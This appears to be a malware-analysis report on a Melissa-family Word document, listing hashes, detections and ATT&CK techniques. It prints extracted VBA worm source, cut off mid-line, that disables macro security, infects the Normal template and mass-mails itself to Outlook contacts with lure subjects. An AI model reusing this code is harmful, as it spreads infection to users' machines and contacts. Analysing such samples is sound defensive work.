Melissa — Office (OLE) malware analysis

Static analysis result for SHA-256 d4fae7be0c4aae8a…

MALICIOUS

Office (OLE)

36.0 KB Created: 1999-10-13 22:17:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d590efdb8524660b9ede295a766a4fbb SHA-1: b319b3c27541a110236091d63a64e43e8deae859 SHA-256: d4fae7be0c4aae8ae74175b0bf4a5352cdddc6b52be029a82aa7cc3573a8170b
220 Risk Score

Malware Insights

Melissa · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1553.005 Security Software Installation T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a strong indicator of the Melissa family. The macro attempts to disable security settings and infect other documents, as evidenced by the code that modifies macro security levels and infects the Normal template. The ClamAV detections further corroborate the Melissa family attribution.

Heuristics 4

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5467 bytes
SHA-256: 562d04c81b479fdd8d0fdb8c86bf5f6995810b21c0eaafdf2234d475025d6ef3
Detection
ClamAV: Doc.Trojan.Melissa-12
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Empirical"
Attribute VB_Base = "1Normal.Empirical"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
  On Error Resume Next
  Call Empirical
End Sub
Private Sub Document_New()
  On Error Resume Next
  Call Empirical
End Sub
Private Sub AutoExec()
  On Error Resume Next
  Call Empirical
End Sub
Private Sub Empirical()
  'based on or guided by experience,
  'experiment or observation,
  'as distinct from theory.
  On Error Resume Next
  If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
  Else
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
  End If
  CommandBars("Visual Basic").Enabled = False

  Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
  Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
  NTCL = NTI1.codemodule.countoflines
  ADCL = ADI1.codemodule.countoflines
  BGN = 2

  If ADI1.Name <> "Empirical" Or ADCL < 20 Then
    If ADCL > 0 Then ADI1.codemodule.deletelines 1, ADCL
    Set toinfect = ADI1
    ADI1.Name = "Empirical"
    DoAD = True
  End If

  If NTI1.Name <> "Empirical" Or NTCL < 20 Then
    If NTCL > 0 Then NTI1.codemodule.deletelines 1, NTCL
    Set toinfect = NTI1
    NTI1.Name = "Empirical"
    DoNT = True
  End If

  If DoNT <> True And DoAD <> True Then GoTo BYE

  If DoNT = True Then
    toinfect.codemodule.addfromstring ("Private Sub Document_Open()" & vbCrLf & ADI1.codemodule.Lines(2, ADI1.codemodule.countoflines))
  End If

  If DoAD = True Then
    toinfect.codemodule.addfromstring ("Private Sub Document_Close()" & vbCrLf & NTI1.codemodule.Lines(2, NTI1.codemodule.countoflines))
  End If

BYE:
  Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
  Set UngaDasOutlook = CreateObject("Outlook.Application")
  Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
  If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Profiles") <> "Empirical" Then
    If UngaDasOutlook = "Outlook" Then
      DasMapiName.Logon "profile", "password"
      For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
          Peep = AddyBook.AddressEntries(x)
          BreakUmOffASlice.Recipients.Add Peep
          x = x + 1
          If x > 50 Then oo = AddyBook.AddressEntries.Count
        Next oo
        s = Int(Rnd * 7)
        Select Case s
          Case 0
            BreakUmOffASlice.Subject = "Question for you..."
            BreakUmOffASlice.Body = "It's fairly complicated so I've attached it."
          Case 1
            BreakUmOffASlice.Subject = "Check this!!"
            BreakUmOffASlice.Body = "This is some wicked stuff!"
          Case 2
            BreakUmOffASlice.Subject = "Cool Web Sites"
            BreakUmOffASlice.Body = "Check out the Attached Document for a list of some of the best Sites on the Web"
          Case 3
            BreakUmOffASlice.Subject = "80mb Free Web Space!"
            BreakUmOffASlice.Body = "Check out the Attached Document for details on how to obtain the free space.  It's cool, I've now got heaps of room."
          Case 4
            BreakUmOffASlice.Subject = "Cheap Software"
            BreakUmOffASlice.Body = "The attached document contains a list of web sites where you can obtain Cheap Software"
          Case 5
            BreakUmOffASlice.Subject = " Cheap Hardware"
            BreakUmOffASlice.Body = " I've attached a list of web sites whe
... (truncated)

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